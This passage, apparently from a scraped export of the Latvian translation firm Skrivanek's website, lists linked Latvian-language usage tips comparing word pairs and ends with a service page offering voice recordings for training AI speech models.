komunikācijā, gan sadzīvē. - [Šampanietis pret šampānietis](https://skrivanek.lv/sampanietis/): Vai svētkos baudām šampanieti vai šampānieti? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - [Dzērājs pret dzērējs](https://skrivanek.lv/dzerajs-pret-dzerejs/): Kurš ir dzērājs un kurš – dzērējs? Uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Nostalģija pret nostaļģija](https://skrivanek.lv/nostalgija/): Vai ilgas pēc mājām, seniem laikiem ir "nostalģija" vai "nostaļģija"? Ieskaties un uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! - [Želatīns pret želantīns](https://skrivanek.lv/zelatins-pret-zelantins/): Ko lietojam, gatavojot gardumus? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņa, gan sadzīvē. - [Dermatīns pret dermantīns](https://skrivanek.lv/dermatins-pret-dermantins/): Vai grāmatai apliksim dermatīna vai dermantīna vākus? Ieskaties un uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! - [Abu Dabi pret Abū Dabī](https://skrivanek.lv/abu-dabi/): Vai Apvienoto Arābu Emirātu galvaspilsēta ir Abu Dabi vai Abū Dabī? Ieskaties šajā rakstā un uzzini visu par šo pasaules brīnumu pilsētu! - [Mikrafons pret mikrofons](https://skrivanek.lv/mikrafons-pret-mikrofons/): Kā pareizi rakstāma šī skaņas pastiprināšanas ierīce? Ieskaties un uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! - [Laikus pret laicīgi](https://skrivanek.lv/laikus-pret-laicigi/): Darbus varam izdarīt laikus vai laicīgi? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē - [Vecmilgrāvis pret Vecmīlgrāvis](https://skrivanek.lv/vecmilgravis/): Kā precīzi dēvējama šī daļa Rīgas? Uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņa, gan sadzīvē. - [Balzams pret balzāms](https://skrivanek.lv/balzams/): Aukstam laikam reizumis piemērots ir kāds stiprāks dzēriens: vai tā nosaukums rakstāms balzams vai balzāms? Ieskaties un uzzini atbildi! - [Briliants pret briljants pret brilliants](https://skrivanek.lv/briliants-pret-briljants-pret-brilliants/): Kā dēvēsim slīpētos dimantus? Uuzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Gruzīnu restorāns pret gruzīņu restorāns](https://skrivanek.lv/gruzinu-restorans/): Vai iesim vakariņās uz gruzīnu vai gruzīņu restorānu? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - [Mantu glabātava pret mantu glabātuve](https://skrivanek.lv/mantu-glabatava-pret-mantu-glabatuve/): Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - [Cilvēki apņemas pret cilvēki apņemās](https://skrivanek.lv/cilveki-apnemas/): Jaunā gada sākums ir arī dažādu apņemšanos laiks – vai ļaudis šajā laikā kaut ko apņemas vai apņemās? Ieskaties un uzzini atbildi! - [Asakas atvilktnē un kauli skapī](https://skrivanek.lv/asakas-atvilktne-un-kauli-skapi/): Vienā no portāliem sastapām virsrakstu „Vīrietis ar pagātni: kā sadzīvot ar skeletiem viņa „skapī””. Kas ir šī vīrieša skelets, un kāpēc tas ir „skapī”? - [Portāls pret vortāls](https://skrivanek.lv/portals-pret-vortals/): Ziņas lasām portālā vai vortālā? Uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Advente vai advents](https://skrivanek.lv/advente-pret-advents/): Vai Ziemassvētku gaidīšanas laiks ir advente vai advents? Ieskaties un uzzini atbildi! Vairāki noderīgi latviešu valodas padomi vienuviet! - [Ik dienas pret ikdienas](https://skrivanek.lv/ik-dienas-pret-ikdienas/): Vai domājam par kādu ikdienas vai ik dienas? Ieskaties un uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - [Farēru pret Ferēru pret Fēru salas](https://skrivanek.lv/fareru-pret-fereru-pret-feru-salas/): Vai ceļosim uz Farēru, Ferēru vai Fēru salām? Ieskaties un uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - [Rads vai radinieks](https://skrivanek.lv/rads-vai-radinieks/): Vai ciemos pie mums brauc rads vai radinieks? Ieksaties un uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - [Peripetija pret peripētija](https://skrivanek.lv/peripetija/): Vai politikā sastopam peripetijas vai peripētijas? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - [Apakšsvītra pret pasvītra](https://skrivanek.lv/apakssvitra-pret-pasvitra/): Vai e-pasta adresē „janis_lapa@jauki.lv” starp vārdu un uzvārdu lietota apakšsvītra vai pasvītra? Ieskaties un uzzini atbildi! - [Plus pret pluss](https://skrivanek.lv/plus-pret-pluss/): Vai teiksim „viens pluss viens” vai „viens plus viens”? Ieskaties un uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - [Ēteris pret ēters](https://skrivanek.lv/eteris-pret-eters/): Vai sarunu skatāmies tiešajā ēterī vai ēterā? Ieskaties un uzzini atbildi! Vairāki noderīgi latviešu valodas padomi vienuviet! - [Dilema pret dilemma](https://skrivanek.lv/dilema-pret-dilemma/): Vai varam saskarties ar dilemu vai dilemmu? Ieskaties un uzzini atbildi! Vairāki noderīgi latviešu valodas padomi vienuviet! - [10 ballu pret 10 baļļu](https://skrivanek.lv/10-ballu/): Vai skolēns saņem vērtējumu 10 ballu vai 10 baļļu sistēmā? Ieskaties un uzzini atbildi! Vairāki noderīgi latviešu valodas padomi vienuviet! - [Uzputenis pret uzpūtenis pret debesmanna](https://skrivanek.lv/uzputenis-pret-debesmanna/): Rosāmies virtuvē – gatavosim uzputeni, uzpūteni vai debesmannu? Uzzini atbildi! Vairāki noderīgi latviešu valodas padomi vienuviet! - [Montessori pret Montesori](https://skrivanek.lv/montessori-pret-montesori/): Vai mācīsimies pēc Montesori vai Montessori metodēm? Ieskaties un uzzini atbildi! Vairāki noderīgi latviešu valodas padomi vienuviet! - [Dārzāji pret dārzeņi](https://skrivanek.lv/darzaji-pret-darzeni/): Vai ēdīsim dārzāju vai dārzeņu salātus? Uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - [Krembrulē pret krēms brulē pret brilē krēms](https://skrivanek.lv/krembrule-pret-krems-brule-pret-brile-krems/): Kā latviešu valodā dēvēsim šo gardo saldēdienu? Ieskaties un uzzini atbildi! Vairāki noderīgi latviešu valodas padomi vienuviet! - [Annuāls pret ikgadējs](https://skrivanek.lv/annuals-pret-ikgadejs/): Vai pilsētā notiek annuālie vai ikgadējie svētki? Ieskaties un uzzini atbildi! Vairāki noderīgi latviešu valodas padomi vienuviet! - [Jaucējkrāns pret maisītājkrāns](https://skrivanek.lv/jaucejkrans-pret-maisitajkrans/): Iekārtojot vannasistabas un virtuves, runājam gan par jaucējkrāniem, gan maisītājkrāniem. Kurš nosaukums ir pareizais? Ieskaties un uzzini atbildi! - [Atskaitīt pret izslēgt](https://skrivanek.lv/atskaitit-pret-izslegt/): Vai no mācību iestādes atskaita vai izslēdz? Ieskaties un uzzini atbildi! Vairāki noderīgi latviešu valodas padomi vienuviet! - [Latte macchiato pret late makiato pret late makjato](https://skrivanek.lv/latte-macchiato-pret-late-makiato-pret-late-makjato/): Kā sauksim šo kafijas dzērienu? Ieskaties un uzzini! Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Ārvalstis pret ārzemes](https://skrivanek.lv/arvalstis-pret-arzemes/): Uzzini, vai viesosimies ārvalstīs vai ārzemēs? Daudzi latviešu valodas padomi vienuviet! Būs noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Recepcija pret reģistratūra](https://skrivanek.lv/recepcija-pret-registratura/): Viesnīcā reģistrēsimies recepcijā vai reģistratūrā? Vairāki latviešu valodas padomi vienuviet! Būs noderīgi gan lietišķajā saziņā, gan sadzīvē! - [Aklimatizēties pret atklimatizēties](https://skrivanek.lv/aklimatizeties-pret-atklimatizeties/): Vai, aizbraucot uz kādu eksotisku zemi, aklimatizēsimies vai atklimatizēsimies? Uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - [Dziesmu svētki pret dziesmusvētki](https://skrivanek.lv/dziesmu-svetki-pret-dziesmusvetki/): Vai reizi piecos gados notiek dziesmu svētki, Dziesmu svētki vai dziesmusvētki? Ieskaties un uzzini atbildi! Noderīgi latviešu valodas padomi vienuviet! - [Līnija, svītra vai strīpa](https://skrivanek.lv/linija-pret-stripa-pret-svitra/): Vai burtnīcā vilksim līniju, strīpu vai svītru? Uzzini atbildi! Noderīgi latviešu valodas padomi gan lietišķajā saziņā, gan sadzīvē. - [Tiramisu pret tiramisū](https://skrivanek.lv/tiramisu/): Vai gatavosim tiramisu vai tiramisū? Kā pareizi raksta deserta nosaukumu? Ieskaties un uzzini visu par šo slaveno un gardo Itālijas desertu! - [Eglēm pret Egļiem](https://skrivanek.lv/eglem-pret-egliem/): Vai Anna un Jānis Egles saņems ielūgumu, kas adresēts Eglēm vai Egļiem? Uzzini atbildi! Noderīgi valodas padomi gan lietišķajā komunikācijā, gan sadzīvē. - [Mēstule pret spams pret surogātpasts](https://skrivanek.lv/mestule-pret-spams-pret-surogatpasts/): Mūsu e-pasta kastīti piesārņo mēstules, spams vai surogātpasts? Ieskaties un uzzini! Daudzi noderīgi latviešu valodas padomi vienuviet! - [Sireāls pret sirreāls](https://skrivanek.lv/sireals-pret-sirreals/): Vai Dalī gleznojumi ir sireāli vai sirreāli? Ieskaties un uzzini atbildi! Daudzi noderīgi latvieši valodas padomi vienuviet! - [Cepamais papīrs pret cepjamais papīrs](https://skrivanek.lv/cepamais-papirs-pret-cepjamais-papirs/): Vai pannā klāsim cepamo vai cepjamo papīru? Ieskaties un uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - [Raujam zeltu](https://skrivanek.lv/raujam-zeltu/): Olimpisko spēļu laikā ziņu veidotāji mūs lutinājuši ar dažnedažādiem virsrakstiem, un viens no tiem arī iedvesmojis šī mēneša valodas pērlei. No kurienes uzvarētājs var izraut zeltu? - [Īrēt pret nomāt](https://skrivanek.lv/iret-pret-nomat/): Ar ko atšķiras „īrēt” un „nomāt”? Uzzini! Citi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Tāpēc pret tādēļ](https://skrivanek.lv/tapec-pret-tadel/): Vārdiem tāpēc un tādēļ ir vienāda nozīme? Uzzini atbildi! Citi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē - [Humāns pret humanitārs](https://skrivanek.lv/humans-pret-humanitars/): Ar ko atšķiras humāns no humanitārs? Uzzini atbildi! Citi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Temperatūras olimpiskais lēciens](https://skrivanek.lv/temperaturas-olimpiskais-leciens/): Ja temperatūra var uzlēkt līdz +6, varbūt tā var arī novelties līdz –6 grādiem? Lasi valodas pērles rakstu! - [Čipsi pret čipši](https://skrivanek.lv/cipsi-pret-cipsi/): Mums garšo čipsi vai čipši? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Poniju salons](https://skrivanek.lv/poniju-salons/): Frizētavas pakalpojumu klāstā atrodam… ponija apgriešanu. Vai tiešām pilsētā tik bieži tiek piepildīts daudzu mazu prinču un princešu sapnis par poniju, un nu tie uz salonu nāks kopā ar mums? - [Stilīgā garša](https://skrivanek.lv/stiliga-garsa/): Kāds portāls mūs nesen palutinājis ar krāšņi tērptu Latvijas slavenību fotogaleriju un spilgtu virsrakstu: „Stila gardēži pulcējas Rīgas modes nedēļas atklāšanā”. - [Cik prasmīgs ir Jūsu auto?](https://skrivanek.lv/cik-prasmigs-ir-jusu-auto/): Automobilis nav tikai pārvietošanās līdzeklis: tas nereti kļūst par mūsu uzticamo biedru, draugu un teju vai ģimenes locekli. Vai tas var būt prasmīgs un vīrišķīgs? - [Starpcitu vai starp citu](https://skrivanek.lv/starpcitu-vai-starp-citu/): Teiksim „Starpcitu, šī ir brīnišķīga diena!” vai „Starp citu, šī ir brīnišķīga diena!”? Kā pareizi raksta šo iespraudumu? Uzzini atbildi! - [Darba vieta pret darbavieta](https://skrivanek.lv/darba-vieta-pret-darbavieta/): Birojā pie loga ir mūsu darbavieta vai darba vieta? Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Cipars pret skaitlis](https://skrivanek.lv/cipars-pret-skaitlis/): Ar ko atšķiras cipars no skaitļa? Ieskaties un uzzini! Citi noderīgi latviešu valodas padomi. Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Dzīvnieki, tai skaitā lapsas un eži, ir skaisti pret dzīvnieki, tai skaitā, lapsas un eži, ir skaisti](https://skrivanek.lv/dzivnieki-tai-skaita-lapsas-un-ezi-ir-skaisti-pret-dzivnieki-tai-skaita-lapsas-un-ezi-ir-skaisti/): Ieskaties un uzzini pareizo atbildi! Citi noderīgi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - [Ananass pret ananāss](https://skrivanek.lv/ananass-pret-ananass/): Vai dzersim ananasu sulu vai ananāsu sulu? Ieskaties un uzzini pareizo atbildi! Citi noderīgi latviešu valodas padomi vienuviet! - [Brīva vakance pret vakance](https://skrivanek.lv/briva-vakance-pret-vakance/): Vakance var būt brīva? Uzzini atbildi! Citi noderīgi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē - [Atvilkne vai atvilktne](https://skrivanek.lv/atvilkne-pret-atvilktne/): Sarunvalodā to mēdzam dēvēt par šūplādi – vai tā ir atvilktne vai atvilktne? Ieskaties un uzzini atbildi! Noderīgi latviešu valodas padomi! - [Skolnieki pret skolēni](https://skrivanek.lv/skolnieki-pret-skoleni/): Ieskaties un uzzini atbildi! Citi noderīgi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Mājas darbs pret mājasdarbs](https://skrivanek.lv/majas-darbs-pret-majasdarbs/): Kādi darbi veicami ar lupatu un kādi – ar pildspalvu? Ieskaties un uzzini atbildi! Citi noderīgi latviešu valodas padomi vienuviet! - [Aplaudēt pret applaudēt](https://skrivanek.lv/aplaudet-pret-applaudet/): Vai koncertā applaudēsim vai aplaudēsim? Uzzini atbildi! Citi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - [Vispārīgs pret vispārējs](https://skrivanek.lv/visparigs-pret-visparejs/): Vēlēšanas ir vispārējas vai vispārīgas? Uzzini atbildi! Citi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Nīlzirgs pret behemots, pret begemots, pret hipopotams](https://skrivanek.lv/nilzirgs-pret-behemots-pret-begemots-pret-hipopotams/): Ieskaties un uzzini atbildi! Vairāki Skrivanek latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - [Tulkotājs vai tulks](https://skrivanek.lv/tulkotajs-pret-tulks/): Vai grāmatas tulko tulks vai tulkotājs? Ieskaties un uzzini atbildi! Šis un citi noderīgi latviešu valodas padomi vienuviet! - [Abonements pret abonoments](https://skrivanek.lv/abonements-pret-abonoments/): Ieskaties un uzzini pareizo atbildi! Citi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - [Futlāris pret futrālis](https://skrivanek.lv/futlaris-pret-futralis/): Ģitāru liek futlārī vai futrālī? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Baneris pret banneris](https://skrivanek.lv/baneris-pret-banneris/): Kā pareizi raksta šo lietvārdu? Uzzini atbildi! Citi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Zandales pret sandales](https://skrivanek.lv/zandales-pret-sandales/): Kā sauksim šos apavus – sandales vai zandales? Varbūt zandeles? Ieskaties un uzzini atbildi! Citi latviešu valodas padomi vienuviet! - [Kartīte pret kartiņa](https://skrivanek.lv/kartite-pret-kartina/): Kā pareizi raksta šo vārdu? Uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Plašsaziņas līdzekļi pret masu mediji](https://skrivanek.lv/plassazinas-lidzekli-pret-masu-mediji/): Ieskaties un uzzini atbildi! Citi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Pazvanīt pret piezvanīt](https://skrivanek.lv/pazvanit-pret-piezvanit/): Kāda ir šo vārdu lietojuma atšķirība? Uzzini atbildi! Citi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Olīvas pret olīves](https://skrivanek.lv/olivas-pret-olives/): Vai našķēsimies ar olīvām vai olīvēm? Uzzini atbildi! Citi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Ilggadīgs pret ilggadējs](https://skrivanek.lv/ilggadigs-pret-ilggadejs/): Kad pareizi ir teikt „ilggadīgs”, bet kad –„ilggadējs”? Ieskaties un uzzini atbildi! Citi noderīgi latviešu valodas padomi vienuviet! - [Cilvēcīgs pret cilvēcisks](https://skrivanek.lv/cilvecigs-pret-cilvecisks/): Kā atšķiras vārda „cilvēcīgs” un „cilvēcisks” lietojums? Ieskaties un uzzini atbildi! Citi noderīgi latviešu valodas padomi vienuviet! - [Vai ne pret vai nē](https://skrivanek.lv/vai-ne-pret-vai-ne/): Ieskaties un uzzini atbildi! Citi SKRIVANEK latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Augstāk minētais pret iepriekš minētais](https://skrivanek.lv/augstak-minetais-pret-ieprieks-minetais/): Ieskaties un uzzini atbildi! Citi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Finansu pret finanšu](https://skrivanek.lv/finansu-pret-finansu/): Kā būs pareizi – finansu vai finanšu krīze? Uzzini! Citi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē - [Islande pret Īslande](https://skrivanek.lv/islande-pret-islande/): Ieskaties un uzzini atbildi! Citi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - [Mazgātava pret mazgātuve](https://skrivanek.lv/mazgatava-pret-mazgatuve/): Ieskaties un uzzini atbildi! Citi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Vārāmā sāls pret vārāmais sāls](https://skrivanek.lv/varama-sals-pret-varamais-sals/): Ieskaties un uzzini atbildi! Citi SKRIVANEK latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Domuzīme pret defise](https://skrivanek.lv/domuzime-pret-defise/): Kad lieto domuzīmi „–”, bet kad defisi „-”? Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - [Skenēt pret skanēt](https://skrivanek.lv/skenet-pret-skanet/): Vai dokumentus skenēsim vai skanēsim? Ieskaties un uzzini pareizo atbildi! Citi noderīgi latviešu valodas padomi vienuviet! - [Rasols vai rosols](https://skrivanek.lv/rasols-pret-rosols/): Vai svētkos gatavosim rasolu vai rosolu? Ieskaties un uzzini pareizo atbildi! Citi noderīgi latviešu valodas padomi vienuviet! - [Albums pret albūms](https://skrivanek.lv/albums-pret-albums/): Kā teiksim – „fotogrāfiju albums” vai „fotogrāfiju albūms”? Ieskaties un uzzini atbildi! Citi latviešu valodas padomi vienuviet! - [Jutīgs pret jūtīgs](https://skrivanek.lv/jutigs-pret-jutigs/): Vai mūsu sejas āda ir jutīga vai jūtīga? Ieskaties un uzzini šo vārdu lietojuma atšķirību! Citi noderīgi latviešu valodas padomi vienuviet! - [Efektīgs pret efektīvs](https://skrivanek.lv/efektigs-pret-efektivs/): Vai īpašības vārdi efektīgs un efektīvs ir sinonīmi? Ieskaties un uzzini atbildi! Citi noderīgi latviešu valodas padomi vienuviet! - [Mājas lapa vai mājaslapa](https://skrivanek.lv/majas-lapa-pret-majaslapa/): Informāciju internetā meklēsim uzņēmuma mājaslapā vai mājas lapā? Ieskaties un uzzini! Citi noderīgi latviešu valodas padomi vienuviet! - [Neparko pret ne par ko](https://skrivanek.lv/neparko-pret-ne-par-ko/): Vai Tu pareizi lieto vārdus „neparko” un „ne par ko”? Ieskaties un uzzini atbildi! Citi noderīgi latviešu valodas padomi vienuviet! - [Šī gada pret šā gada](https://skrivanek.lv/si-gada-pret-sa-gada/): Kuru vārdu labāk izvēlēties – „šā” vai „šī”? Ieskaties un uzzini atbildi! Arī citi noderīgi latviešu valodas padomi vienuviet! - [Tūkstots pret tūkstoš pret tūkstotis](https://skrivanek.lv/tukstots-pret-tukstos-pret-tukstotis/): Tūkstots gadu? Tūkstoš gadu? Vai varbūt tūkstotis gadu? Ieskaties un uzzini atbildi! Citi noderīgi latviešu valodas padomi vienuviet! - [Mēs gaidam pret mēs gaidām](https://skrivanek.lv/mes-gaidam-pret-mes-gaidam/): Vai tramvaju mēs gaidam vai gaidām? Ieskaties un uzzini pareizo atbildi! Citi noderīgi latviešu valodas padomi vienuviet! - [Pastāvīgs pret patstāvīgs](https://skrivanek.lv/pastavigs-pret-patstavigs/): Kad lietot vārdu „pastāvīgs”, bet kad – „patstāvīgs”? Ieskaties un uzzini atbildi! Citi noderīgi latviešu valodas padomi vienuviet! - [Tikpat vai tik pat](https://skrivanek.lv/tikpat-pret-tik-pat/): Vai šodien ir tik pat vai tikpat silts kā vakar? Ieskaties un uzzini atbildi! Citi noderīgi latviešu valodas padomi vienuviet! - [Esat pret esiet](https://skrivanek.lv/esat-pret-esiet/): Vai teiksim „Esat mīļi gaidīti!” vai „Esiet mīļi gaidīti!”? Ieskaties un uzzini atbildi! Citi noderīgi latviešu valodas padomi vienuviet! - [Pašreiz pret patreiz](https://skrivanek.lv/pasreiz-pret-patreiz/): Ikdienā bieži jauc salikteņu „pašreiz” un „patreiz” lietojumu. Uzzini pareizo atbildi! Citi latviešu valodas padomi vienuviet! - [Masāž’ un tatuāž’ jeb diena skaistumkopšanas pasaulē](https://skrivanek.lv/masaz-un-tatuaz-jeb-diena-skaistumkopsanas-pasaule/): Redzētais skaistumkopšanas salonu piedāvājumā pārsteidz, un mūs pārņem izjūtas kā dziesmā „Lora, o, Lora”, tikai polonēz’ un majonēz’ vietā ieraugām makijāž’ un tatuāž’. - [Darbinieku apbedīšanas pakalpojumi: no darba uz kapa vietu](https://skrivanek.lv/darbinieku-apbedisanas-pakalpojumi-no-darba-uz-kapa-vietu/): Vai lielas iestādes rūpējas par saviem darbiniekiem arī to pēdējā gaitā, tādēļ ērtības labad slēdz līgumu ar apbedīšanas pakalpojumu sniedzēju? Uzzini rakstā! - [Virtuvē ienāk transformeri un nanotehnoloģijas](https://skrivanek.lv/virtuve-ienak-transformeri-un-nanotehnologijas/): Vai tiešām rūpēm nu ir gals un par vakariņām parūpēsies kāds rosīgs autobots? Uzzini šajā Skrivanek rakstā! - [Uzņēmumu demogrāfija slīgst mīnusos](https://skrivanek.lv/uznemumu-demografija-sligst-minusos/): Šoreiz mūs uzrunājis virsraksts par uzņēmumu demogrāfiju. Interesanti, vai arī uzņēmumu skaita izmaiņas pētī demogrāfijas zinātne? Uzzini rakstā! - [Grāb un grozi](https://skrivanek.lv/grab-un-grozi/): Angļu valodā nosaukto rotaļlietu „fidget spinner” latviešu valodā varam dēvēt par virpināmo vai grozāmgrābsli. Lasi vairāk rakstā! - [Papildu vai papildus](https://skrivanek.lv/papildu-pret-papildus/): Lūgsim papildu vai papildus porciju? Uzzini vārdu papildu un papildus lietojuma atšķirību! Lasi citus noderīgus valodas padomus vienuviet! - [Šoferu un ieroču medicīniskās izziņas](https://skrivanek.lv/soferu-un-ierocu-mediciniskas-izzinas/): Uzraksts skatlogā „Šoferu un ieroču medicīniskās izziņas” kņudina prātu. Vai ieroči arī iet medicīniskas pārbaudes? Uzzini šajā bloga rakstā! - [Nobela prēmija pret Nobeļa prēmija](https://skrivanek.lv/nobela-premija-pret-nobela-premija/): Kāda balva šogad piešķirta Bobam Dilanam? Uzzini! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. --- ## Portfolio Items --- ## Titles --- ## Footers --- # # Detailed Content ## Lapas > Profesionāli balss ieraksti mākslīgā intelekta apmācībai vairāk nekā 110 valodās. Dzimtās valodas runātāji, precizitāte un pielāgošana. - Published: 2025-07-22 - Modified: 2025-07-28 - URL: https://skrivanek.lv/balss-ieraksti-maksliga-intelekta-apmacibai/ - Translation Priorities: Optional Labi sagatavoti balss dati – tas ir pamats efektīviem mākslīgā intelekta modeļiem Mākslīgā intelekta un runas atpazīšanas tehnoloģiju laikmetā balss datu kvalitātei ir izšķiroša nozīme. Ja jūsu mākslīgā intelekta projektam ir nepieciešama balss ierakstu sagatavošana, esat īstajā vietā. Mēs piedāvājam visaptverošus frāžu ierakstus un balss datu kopu sagatavošanu, kas palīdz izveidot modeļus ar augstu precizitāti runas atpazīšanā un valodas interpretācijā. Kam paredzēts šis pakalpojums? Balss ierakstu pakalpojums ir paredzēts: Tehnoloģiju uzņēmumiem un jaunuzņēmumiem, kas izstrādā runas atpazīšanas sistēmas, čatbotus, balss asistentus, tulkošanas sistēmas un citus uz mākslīgo intelektu balstītus rīkus. Pētniecības iestādēm un universitātēm, kas īsteno projektus mākslīgā intelekta un dabiskās valodas apstrādes jomā. Uzņēmumiem, kuri izstrādā mobilās lietotnes vai balsī integrētus risinājumus, kam nepieciešami dažādi, dabīgi balss dati. Aģentūrām un audio studijām, kurām nepieciešami balss dati algoritmu testēšanai un apmācībai. Ko ietver balss ierakstīšanas pakalpojums mākslīgā intelekta apmācībai? Mūsu pakalpojums ietver visaptverošu balss ierakstu kopu sagatavošanu, kas ir pilnībā pielāgoti jūsu projekta vajadzībām: Organizējam dzimtās valodas runātāju grupu izvēlētajā valodā, kas atbilst vecuma, dzimuma, akcenta un stilistiskajiem kritērijiem. Ierakstām frāzes un balss datu kopas atbilstoši jūsu specifikācijām – ieskaitot runas tempu, skaļumu, intonāciju, stilu un emocionālo noskaņu. Ierakstām, izmantojot klienta izvēlēto ierakstīšanas lietojumprogrammu, un piegādājam gatavas datnes izvēlētajā formātā (piemēram, WAV, MP3). Katra audio datne tiek rūpīgi pārbaudīta kvalitātes kontrolē – izrunas precizitāte, skaņas skaidrība un atbilstība prasībām. Mēs piedāvājam gatavu balss datu kopu, kas ir gatava integrācijai ar jūsu mākslīgā intelekta modeli. Varēsiet uzreiz izmantot MI modeļa apmācībai. Negaidiet! Izmantojiet mūsu profesionālo balss ierakstīšanas pakalpojumu mākslīgā intelekta apmācībai un paceliet savus projektus jaunā līmenī. Sagatavosim jums piedāvājumu un nodrošināsim konsultāciju. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Ziņa Pievienot Noņemt E-pasts *Ziņa Pievienot Noņemt Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt Vai piesakieties tiešsaistes konsultācijai par balss ierakstīšanas pakalpojumu mākslīgā intelekta apmācībai jau tūlīt! Kāpēc izvēlēties Skrivanek Baltic balss ierakstus mākslīgā intelekta apmācībai? Daudzveidība un autentiskums Nodrošinām balss datus, ko ierakstījusi liela dzimtās valodas runātāju grupa, atlasot tos pēc precīziem kritērijiem — dzimuma, vecuma, akcenta un citām jūsu projektam atbilstošām īpašībām. Tas nodrošina, ka jūsu mākslīgā intelekta modelis ir gatavs apstrādāt dažādus valodu variantus un runas stilus. Vajadzībām pielāgota elastība Vai jums nepieciešami ātra tempa ieraksti? Vai varbūt lēnāks, klusāks vai skaļāks stils? Mūsu komanda veido ierakstus atbilstoši jūsu individuālajām specifikācijām, pievēršot uzmanību katrai detaļai — sākot no vokālā toņa līdz tehniskajām specifikācijām. Mēs strādājam ar dažādām ierakstīšanas lietojumprogrammām, tostarp tām, kuras norādījis klients. Globāls tvērtums ar lokālu kontekstu Neatkarīgi no tā, vai nepieciešami balss dati latviešu, angļu, vācu vai retāk sastopamā valodā, mūsu balss talantu un dzimtās valodas runātāju tīkls ir gatavs palīdzēt. Jūsu mākslīgā intelekta projekti iegūs globālu dimensiju ar vietējo pieskaņu. Ātra piegāde un augsta kvalitāte Mēs zinām, ka laiks ir nauda. Tāpēc mūsu optimizētie procesi ļauj nodrošināt ātru izpildi bez kompromisiem attiecībā uz kvalitāti. Jūs saņemsiet gatavos ierakstus laikā, ievērojot visas tehniskās 